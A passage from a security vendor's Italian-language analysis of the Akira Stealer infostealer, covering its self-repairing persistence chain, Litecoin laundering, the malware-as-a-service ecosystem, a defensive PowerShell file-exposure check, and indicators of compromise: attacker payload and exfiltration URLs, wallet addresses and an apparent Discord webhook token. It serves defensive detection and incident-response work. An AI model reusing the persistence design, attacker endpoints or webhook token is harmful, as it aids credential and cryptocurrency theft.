astor.py (Akira Stealer v2) è un toolkit di stealer completo e distribuito commercialmente. Combina un targeting esteso, tecniche sofisticate di anti analisi, controllo dinamico dell'infrastruttura e furto di dati a tutti i livelli: credenziali, criptovalute, profilazione del sistema e file utente. La sua modularità e la sua furtività, unite a metodi di reinfezione rapidi, lo rendono uno degli stealer tecnicamente più avanzati osservati in impiego attivo.

8. Catena di esecuzione circolare: un loop che si autoripara

Uno degli elementi tecnicamente più sofisticati di questa campagna è il suo modello di esecuzione circolare e rigenerativo. A differenza del malware convenzionale, con stadi lineari che vanno dal dropper al payload per poi svanire, questa operazione è stata progettata come un loop chiuso, in cui ogni componente vigila sugli altri.

Questa architettura che si autoripara ha reso la catena di infezione non solo persistente, ma anche autonoma. Era in grado di riprendersi completamente da rimozioni parziali. Finché un solo pezzo restava in vita, l'intero ecosistema del malware poteva ricomporsi.

8.1 Analisi del comportamento

  1. Ancora di persistenza (Updater.exe)Updater.exe agisce da punto d'appoggio fondamentale. Viene tipicamente scritto in una posizione di avvio dell'utente Windows, per esempio %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, oppure registrato tramite HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Il suo compito è semplice ma decisivo: assicurarsi che main.exe sia presente e avviarlo in silenzio al logon dell'utente. Se main.exe manca, riestrae l'archivio app-64.7z (che si trova in una cartella temporanea o viene scritto di nuovo), rigenerando l'intera struttura dell'app Electron.
  2. Loader di collegamento (main.exe)main.exe è l'applicazione Node.js incapsulata in Electron. Non espone alcuna GUI e opera interamente in background. All'avvio esegue la logica JavaScript incorporata in app.asar, usando Node.js come ambiente di runtime. Questo strato di astrazione disaccoppia la logica centrale dallo stub PE e aiuta a sfuggire all'analisi tradizionale.
  3. Orchestratore di esecuzione (jscryter.js) Incorporato in app.asar, è il vero controller della catena di infezione. Tra le sue funzioni chiave:
    • Verificare la presenza di Updater.exe e ridistribuirlo se manca
    • Iniettare dinamicamente la configurazione di runtime: URL dei webhook, indirizzi C2, token
    • Invocare il payload Python già presente (astor.py) oppure scaricarlo come parte di un pacchetto ZIP (per esempio pyth.zip) da infrastruttura controllata dall'attaccante
  4. Esecuzione del payload (astor.py) Una volta innescato, astor.py viene eseguito in memoria tramite python.exe. Raccoglie sistematicamente credenziali salvate, cookie, token Discord, dati di sessione del browser ed estensioni di wallet di criptovalute. I dati vengono preparati in un archivio ZIP ed esfiltrati via HTTPS, di norma verso webhook Discord, ma sono state osservate anche API di fallback come gofile.io o endpoint C2 personalizzati.
  5. Integrità del loop e autoriparazione Il design è circolare. Se Updater.exe viene cancellato, verrà ridistribuito. Se main.exe manca, Updater.exe lo riestrae da app-64.7z. Se astor.py viene cancellato, lo strato JavaScript lo riottiene. Questa interdipendenza rende il malware resiliente e capace di ricostruire la propria catena di esecuzione praticamente da qualsiasi frammento sopravvissuto.

Questa architettura non è solo modulare, è autosufficiente, progettata deliberatamente per furtività, flessibilità e sopravvivenza di lungo periodo negli ambienti bersaglio.

8.2 Perché è rilevante

Il design architetturale della campagna riflette un livello di sofisticazione che non si vede di solito negli infostealer commodity. Va oltre i semplici loader multistadio: questo è malware progettato per resilienza operativa, furtività e automazione.

Caratteristiche chiave

  • Piena autonomia Una volta distribuito, il malware non richiede alcuna interazione dell'utente né riattivazioni esterne. Si comporta come un microservizio malevolo, orchestrando in proprio persistenza, esecuzione del payload e routine di riparazione, senza controllo esterno.
  • Stack di esecuzione multilinguaggio La toolchain integra:
    • Binary PE (Updater.exe, main.exe)
    • Node.js / JavaScript (tramite Electron)
    • PowerShell (usato per il relay offuscato del payload)
    • Python (astor.py, eseguito come stealer residente in memoria) Questa composizione a strati rende più difficile profilare, riconoscere e analizzare il malware con i tradizionali strumenti statici.
  • Evasione delle difese per progetto Ogni componente è codificato, cifrato o iniettato dinamicamente:
    • Relay PowerShell in Base64
    • Core Python cifrato con AES e compresso con GZIP
    • JavaScript offuscato con iniezione di token a runtime
    • Comportamento di autoriparazione che manda in frustrazione le rimozioni parziali
  • Nessun singolo punto di rottura La logica di autoriparazione del malware fa sì che la rimozione di un singolo componente non basti. Se Updater.exe viene rimosso, l'info stealer lo ricrea. Se astor.py viene cancellato, il controller JavaScript lo riscarica e lo ridistribuisce.

In breve, il malware si comporta più come un sistema distribuito che come un payload tipico, un sistema che mette al primo posto sopravvivenza, modularità e furtività.

Questo fa salire la minaccia dal livello di attacco opportunistico a quello di una piattaforma resiliente e adattiva, e obbliga i difensori a rispondere alla sua complessità con strategie di rilevamento e risposta altrettanto stratificate.

8.3 Implicazioni per i blue team

Per i difensori e per gli operatori CSOC, un'architettura di questo tipo alza l'asticella:

  • La pulizia parziale è inefficace. Tutti i nodi vanno identificati e rimossi contemporaneamente.
  • La correlazione in Defender for Endpoint è essenziale. Gli analisti devono ricostruire le catene complete: da Updater.exe → cmd.exe → powershell.exe → python.exe.
  • Una persistenza priva di IOC significa che euristiche basate sulla memoria, baseline della telemetria e rilevamento basato sulle catene di esecuzione diventano decisivi.

Non è solo uno stealer. È una piattaforma di malware resiliente, che si comporta più come un sistema distribuito che come una minaccia semplice. Ed è esattamente questo a renderla insieme notevole e pericolosa.

9. Tracciamento e analisi blockchain

9.1 Ricostruire la distribuzione dei fondi in una campagna di malware basata su Litecoin

Durante la fase di reverse engineering di questa campagna di malware abbiamo estratto diversi indirizzi di wallet hardcoded usati dallo stealer per l'esfiltrazione di criptovalute. Seguendo l'attività on-chain di questi wallet Litecoin siamo riusciti a scoprire pattern che indicano tattiche deliberate di riciclaggio di denaro. Il wallet controllato dall'attaccante LW6EopiZ... funge da punto centrale di aggregazione. I fondi rubati a più vittime confluiscono in questo indirizzo, per poi essere rapidamente redistribuiti su più indirizzi nuovi.

Il comportamento osservato qui è tipico del classico pattern di split transfer usato nelle operazioni di tumbling o mixing di criptovalute. In ogni caso l'intero saldo in entrata viene diviso in due transazioni in uscita di importo più o meno proporzionale, ciascuna inviata a un wallet diverso. Questa strategia è pensata per ostacolare il clustering degli indirizzi e la ricostruzione della catena, offuscando la provenienza dei fondi. È una tattica efficace per sfuggire al rilevamento da parte delle piattaforme automatiche di analisi blockchain e di threat intelligence.

Questo comportamento di riciclaggio sfrutta una combinazione di tempistica delle transazioni, suddivisione precisa degli importi e riduzione al minimo del riutilizzo degli indirizzi, per aggirare le euristiche comunemente applicate dagli algoritmi di clustering come quelli usati in GraphSense, Chainalysis o TRM Labs. L'intento complessivo è creare flussi transazionali a entropia elevata, che confondono l'attribuzione e spezzano la tracciabilità dei collegamenti, in particolare quando i fondi vengono poi portati su altri asset o scambiati in monete orientate alla privacy.

Nell'esempio qui sotto mostriamo un sottoinsieme strutturato di questo comportamento. Le transazioni in entrata rappresentano trasferimenti da vittime distinte. Questi valori vengono poi mappati con precisione sui flussi in uscita, e mostrano le monete "lavate" attraverso pagamenti rapidi, prevedibili e suddivisi algoritmicamente.

Fonte di input Data di input Importo in entrata (LTC) → Wallet dell'attaccante Indirizzi di uscita Totale in uscita (LTC)
Input_1 2024-09-21 0.25339198 LLQtaBnSAF... - LZmHkgkED... (0.15579078, 2024-09-26)
- M8JpDsw5H7... (0.09760120, 2024-09-26)
0.25339198
Input_2 2024-04-16 1.09976044 LLQtaBnSAF... - LgWrCAF8ED... (0.84304664, 2024-06-13)
- LgWrCAF8ED... (0.25671380, 2024-06-13)
1.09976044
Input_3 2024-03-06 0.77089346 LLQtaBnSAF... - LZL3wQcSRP... (0.38544673, 2024-03-04)
- M8kiBpVHG3... (0.38544673, 2024-03-04)
0.77089346
Input_4 2024-03-06 0.77089346 LLQtaBnSAF... - LUFLTrqYpix... (0.38544673, 2024-03-04)
- La22dfH9eM... (0.38544673, 2024-03-04)
0.77089346

10. Dentro l'ecosistema Akira – infrastruttura di cybercrime commercializzata

Akira non è soltanto uno stealer, è il fulcro di un florido ecosistema underground concepito per semplificare, scalare e monetizzare il cybercrime.

10.1 Un ecosistema plug and play per i threat actor

L'ecosistema Akira è l'esempio di come il cybercrime si sia evoluto in un'economia professionalizzata e orientata ai servizi. Comprende:

  • Builder bot per la generazione di payload su richiesta (per esempio @AkiraRedBot)
  • Canali Telegram per aggiornamenti, richieste di funzionalità e assistenza clienti
  • Gestione automatizzata di licenze e pagamenti, spesso tramite messaggi diretti o piattaforme di e-commerce anonime come Sellix
  • Moduli inclusi come clipboard hijacker, logger di token Discord, stealer di dati del browser e persino add-on ransomware
  • Payload personalizzabili con interfacce di configurazione che permettono di attivare opzioni, inserire webhook e personalizzare l'icona

Akira Stealer

10.2 La commercializzazione del cybercrime

La struttura di Akira riflette un movimento più ampio verso il "Malware-as-a-Service" (MaaS), dove:

  • Non serve alcuna competenza tecnica approfondita per lanciare attacchi
  • I costi di ingresso sono bassi ($75 per 3 mesi, $150 a vita)
  • Supporto e documentazione immediati tramite Telegram
  • I contributi della community estendono regolarmente Akira con script e proposte di funzionalità

Questo ecosistema rispecchia i modelli di business SaaS legittimi, con changelog, miglioramenti della UX, fasce di prezzo e upsell.

Akria Stealer

10.3 Oltre lo stealer: i componenti dell'ecosistema

Se astor.py è il cuore di molti attacchi, l'ecosistema fornisce una catena completa:

  • Strumenti di offuscamento come i wrapper PyInstaller
  • File binder per accoppiare payload malevoli a software innocuo
  • Compilatori, crypter e polimorfismo a runtime
  • Mirror di hosting per la consegna del payload e l'esfiltrazione (per esempio GoFile, AnonFiles)
  • Bot di gestione dei dati che riassumono credenziali rubate e profili hardware

Akira Bot

11. Akira Stealer QuickCheck: file interessati

11.1 A cosa serve

Dopo una sospetta infezione da Akira Stealer è decisivo sapere subito quali file del tuo sistema rischiavano l'esfiltrazione. Lo script PowerShell QuickCheck descritto qui sopra replica l'esatta logica di ricerca di Akira: scansiona le cartelle Desktop, Documents, Downloads e OneDrive dell'utente in cerca di file che:

  • Contengono parole chiave sensibili nel nome, come password, wallet, backup o token
  • Hanno estensioni specifiche tra quelle comunemente prese di mira (.txt, .docx, .pdf, .jpg e simili)
  • Rientrano nel limite di 2 MB imposto dal malware

QuickCheck offre una panoramica rapida basata sulla logica interna di Akira Stealer, ma non sostituisce gli strumenti forensi completi né un incident response professionale. Di fronte a violazioni confermate, procedi sempre con un'analisi più approfondita.

Presenta poi una tabella ordinata con nome del file, percorso relativo, dimensione (KB) e la parola chiave che ha fatto scattare la corrispondenza.

DISCLAIMER Questo strumento è fornito “as is”, senza alcuna garanzia di completezza o di idoneità a uno scopo particolare. Non garantisce il rilevamento di tutti i file potenzialmente sensibili e non sostituisce un'analisi forense completa del malware. Lo usi a tuo rischio.

Avviso legale

Questa utility QuickCheck è destinata esclusivamente a valutazioni di security difensiva. Qualsiasi scansione o utilizzo non autorizzato su sistemi che non ti appartengono può violare le leggi su privacy, diritto d'autore o abuso di strumenti informatici. glueckkanja AG non si assume alcuna responsabilità per usi impropri o danni derivanti dal suo utilizzo.

Script PowerShell

<#
.SYNOPSIS
    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.

.DESCRIPTION
    Scans Desktop, Documents, Downloads and OneDrive for files that:
      • Contain one of the defined keywords in their name
      • Have an allowed file extension
      • Are not larger than 2 MB
    Presents the results in a colored, tabular overview.

.NOTES
    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>

# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Downloads",
    "$env:USERPROFILE\OneDrive"
)
$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize    = 2MB

# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()

foreach ($folder in $scanFolders) {
    if (-not (Test-Path $folder)) { continue }
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        # 2.1 Extension filter
        if ($extensions -notcontains $_.Extension.ToLower()) { return }
        # 2.2 Size filter
        if ($_.Length -gt $maxSize) { return }

        # 2.3 Keyword filter: explicit loop to avoid null-method calls
        $hit = $null
        foreach ($kw in $keywords) {
            if ($_.Name.ToLower().Contains($kw)) {
                $hit = $kw
                break
            }
        }
        if (-not $hit) { return }

        # 2.4 Build relative path
        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)

        # 2.5 Collect
        $matches.Add([PSCustomObject]@{
            FileName    = $_.Name
            Location    = $rel
            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
            Keyword     = $hit
        })
    }
}

# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan

if ($matches.Count -gt 0) {
    $matches |
        Sort-Object Location, FileName |
        Format-Table -AutoSize `
            @{Label='File';       Expression={$_.FileName}},
            @{Label='Location';   Expression={$_.Location}},
            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},
            @{Label='Keyword';    Expression={$_.Keyword}}

    Write-Host "`n⚠️  Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
    Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}

Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray

12. Oltre la risposta – come il glueckkanja CSOC trasforma gli incidenti in insight

La maggior parte dei security operations center si ferma al contenimento. Noi no.

Nel glueckkanja CSOC siamo convinti che l'incident response non sia il traguardo, ma il punto di partenza.

Quando gli altri cantano vittoria e passano al caso successivo, noi scaviamo più a fondo. Per noi ogni incidente è un'occasione per imparare, adattarci e diventare più forti. La nostra curiosità incessante, alimentata da anni di competenza forense approfondita e di capacità di reverse engineering, ci permette non solo di difendere, ma di anticipare.

È per questa filosofia che abbiamo costruito l'Akira Compromise Reporter.

Molto oltre il semplice rilevamento, questo strumento forense sviluppato internamente sfrutta la nostra conoscenza intima di Akira Stealer per dare chiarezza assoluta su quali dati siano stati compromessi. In pochi minuti produce un'istantanea precisa e operativa dell'impatto complessivo dell'incidente:

  • Esattamente quali credenziali, token e sessioni del browser sono stati rubati.
  • Con precisione quali wallet di criptovalute, account di messaggistica e file sono stati esposti.
  • Un report forense chiaro, strutturato e dettagliato, che trasforma l'incertezza in azione immediata e informata.

Akira Compromise Report

Perché in glueckkanja misuriamo il nostro successo non solo dalle minacce bloccate, ma dalla chiarezza che offriamo. La cybersecurity fatta bene non consiste nel reagire agli incidenti, consiste nel capire, adattarsi e restare sempre un passo avanti.

Questa è la differenza del glueckkanja CSOC.

13. Indicators of Compromise (IOCs)

Qui sotto trovi una raccolta completa e letterale degli IOC estratti direttamente dal codice del malware durante il nostro processo interno di reverse engineering nel glueckkanja CSOC. Non abbiamo usato supposizioni né fonti esterne di threat intel, tutti gli indicatori sono riscontri confermati. Tutti gli URL sono offuscati deliberatamente, per evitare clic accidentali.

Abbreviazioni:

  • TG: canale di segnalazione Telegram
  • Alt: endpoint alternativo (di fallback)

1. Domini e URL

Categoria URL offuscato Descrizione
Injection primaria https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php Endpoint webhook iniziale dell'attaccante
Injection di fallback https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php Endpoint injector alternativo
Segnalazione errori (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php URL di segnalazione errori e log su Telegram
Segnalazione errori (Alt) https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php URL alternativo di segnalazione errori e log
Vanity bot (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php Endpoint di notifica degli indirizzi vanity
Vanity bot (Alt) https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php Endpoint alternativo di notifica vanity
Injection Exodus https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar Modulo Electron dell'app Exodus
Injection Atomic https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar Modulo Electron AtomicWallet
Download di Updater https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe Eseguibile dropper per la persistenza
Elenco API Gofile https[:]//api.gofile[.]io/servers Recupera il miglior server di upload GoFile
Verifica token Discord https[:]//discordapp[.]com/api/v9/users/@me Valida il token Discord rubato
Dati di fatturazione Discord https[:]//discord[.]com/api/users/@me/billing/payment-sources Recupera i metodi di pagamento
Replay OAuth Google https[:]//accounts[.]google[.]com/oauth/multilogin Riproduce i token di sessione Google rubati
Controllo IP (hosting) http[:]//ip-api[.]com/line/?fields=hosting Rilevamento dell'ambiente di hosting
Lookup IP (geo) http[:]//ip-api[.]com/json/{ip} Geolocalizzazione tramite IP
Recupero IP pubblico https[:]//api[.]ipify[.]org Preleva l'indirizzo IP esterno
Upload su File.io https[:]//file[.]io/ Canale di esfiltrazione secondario
Upload su Oshi.at http[:]//oshi[.]at/ Canale di esfiltrazione terziario
Dropper JS primario https[:]//rentry[.]co/7vzd22fg36hfdd33/raw Riferimento remoto all'URL reale dello ZIP
Dropper JS fallback 1 https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip ZIP di payload alternativo
Dropper JS fallback 2 https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip ZIP di payload di fallback secondario

2. Indirizzi di criptovaluta

Valuta Indirizzo
BTC bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt
ETH 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5
DOGE DACeoqWDPmNARSZAeDZPFwqwecbByaksmd
LTC LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH
XMR 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D
BCH qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs
DASH XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1
TRX TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK
XRP r36AwwhUH7BRujevi5mukbDrG46KGbTk8V
XLM GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33

3. Chiavi e percorsi di registro

Percorso di registro Scopo
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc Verifica la firma di un driver GPU virtuale
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName Verifica il nome del provider di una GPU virtuale
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (valore Realtek Audio) Persistenza tramite chiave Run (Updater.exe)
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe Eseguibile di persistenza

5. File e hash

Nome del file SHA256 Dimensione (byte)
app-64.7z 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 63936274
main.exe C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B 162036224
jscrypter.js 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF 1429
obf.js 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 30138
input.js E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 7155
package.json 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 211
astor.py 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 205210
exodus.asar 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB 132486332
pow.bat 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 28454
download.dat C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B 21142
pyth.zip E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 32375391
Updater.exe 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 37652937

5. Identificativi Discord e Telegram

Categoria Valore
ID webhook Discord 1226766972675428372
Token webhook Discord BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz
ID Telegram 5035121855

14. Riflessioni sull'incidente Akira Stealer: rafforza la tua difesa con il glueckkanja CSOC

In questo articolo abbiamo esplorato la natura sofisticata dell'infostealer Akira, una minaccia informatica avanzata caratterizzata da furto mirato di credenziali, esfiltrazione furtiva dei dati e metodi persistenti per eludere le difese tradizionali. Capire come funziona questo malware, quali rischi comporta e quali vulnerabilità sfrutta è fondamentale per costruire una strategia di cybersecurity solida.

L'infostealer Akira punta in modo specifico a dati sensibili come credenziali di accesso, sessioni del browser, wallet di criptovalute, servizi di messaggistica e file personali o aziendali. I suoi metodi calcolati e precisi richiedono più delle semplici misure di security standard, richiedono monitoraggio continuo, analisi forense approfondita e threat intelligence proattiva.

Nel glueckkanja CSOC sfruttiamo la nostra competenza tecnica profonda e le nostre capacità analitiche avanzate per andare oltre il semplice rilevamento. Il nostro team specializzato monitora le minacce in tempo reale dai nostri server CSOC dedicati, e questo consente identificazione immediata, indagine accurata e neutralizzazione efficace di minacce come l'infostealer Akira.

Il nostro lavoro non si ferma però all'incident response. Ogni incidente rilevato arricchisce la nostra base di conoscenza, migliora la nostra postura di security e ci permette di restare diversi passi avanti rispetto alle minacce future. Con il glueckkanja CSOC ottieni più della protezione, ottieni un partner di security adattivo, impegnato nella tua resilienza di lungo periodo.

Fai il passo successivo per mettere in sicurezza gli asset digitali della tua organizzazione.

Contatta oggi gli esperti di cybersecurity di glueckkanja e mettiamo in sicurezza il tuo futuro insieme, in modo proattivo.

Rafforza la tua difesa con il glueckkanja CSOC.

15. Disclaimer di sicurezza e legale – uso di codice malware reale

Questa pubblicazione contiene approfondimenti tecnici dettagliati, compresi estratti di codice e analisi comportamentali ricavati da software malevolo reale scoperto durante attività di incident response e indagini forensi. Lo scopo della condivisione di queste informazioni è strettamente formativo, pensato per aiutare i difensori professionisti a comprendere, rilevare e affrontare in modo più efficace le minacce del mondo reale. Pubblichiamo questo materiale in buona fede e con l'intento di contribuire alla comunità della security più ampia.

È importante notare che parti del codice incluso provengono da toolkit di threat actor e da sample di malware in circolazione in the wild. Questi frammenti non sono nostra proprietà intellettuale, né devono essere considerati sicuri, sanificati o in qualche modo "harmless". La riproduzione o l'uso operativo di tale codice è espressamente sconsigliato. Chi legge deve capire che, pur svolgendo una funzione di ricerca e sensibilizzazione, questo materiale porta con sé un profilo di rischio che non va sottovalutato.

Solo professionisti formati che operano in ambienti legalmente autorizzati, come team di security accreditati, unità SOC, ricercatori accademici o laboratori di analisi malware, dovrebbero avere a che fare con le tecniche o il codice descritti. Ogni sperimentazione deve restare confinata a sistemi isolati e non di produzione e rispettare le leggi applicabili, le policy interne e gli standard etici.

Non forniamo supporto né validazione per alcun codice o comportamento riprodotto. Non c'è alcuna garanzia di accuratezza, pertinenza o completezza. Respingiamo inoltre espressamente qualsiasi uso di questo contenuto per scopi offensivi, red teaming non autorizzato, sviluppo commerciale di malware o test avversariali al di fuori di un perimetro definito legalmente. Ogni uso improprio può comportare conseguenze legali. glueckkanja AG declina ogni responsabilità per danni diretti o indiretti derivanti dall'uso o dall'interpretazione errata di questo contenuto.

Continuando a leggere o a citare questo contenuto, riconosci quanto sopra e accetti di non usarne in modo improprio, di non replicarne e di non applicarne alcuna parte in contesti illegali o non etici. In caso di dubbio, consulta l'ufficio legale, la funzione compliance o il responsabile della protezione dei dati prima di occuparti di analisi di codice live o di materiale tecnico simile.

Questa pubblicazione è fornita "as is", senza garanzia, supporto o responsabilità.

Contattaci ora

Come MSSP Microsoft Security di riferimento proteggiamo ogni giorno le aziende dalle minacce informatiche. Parliamone e rafforziamo insieme le tue difese.

Articoli simili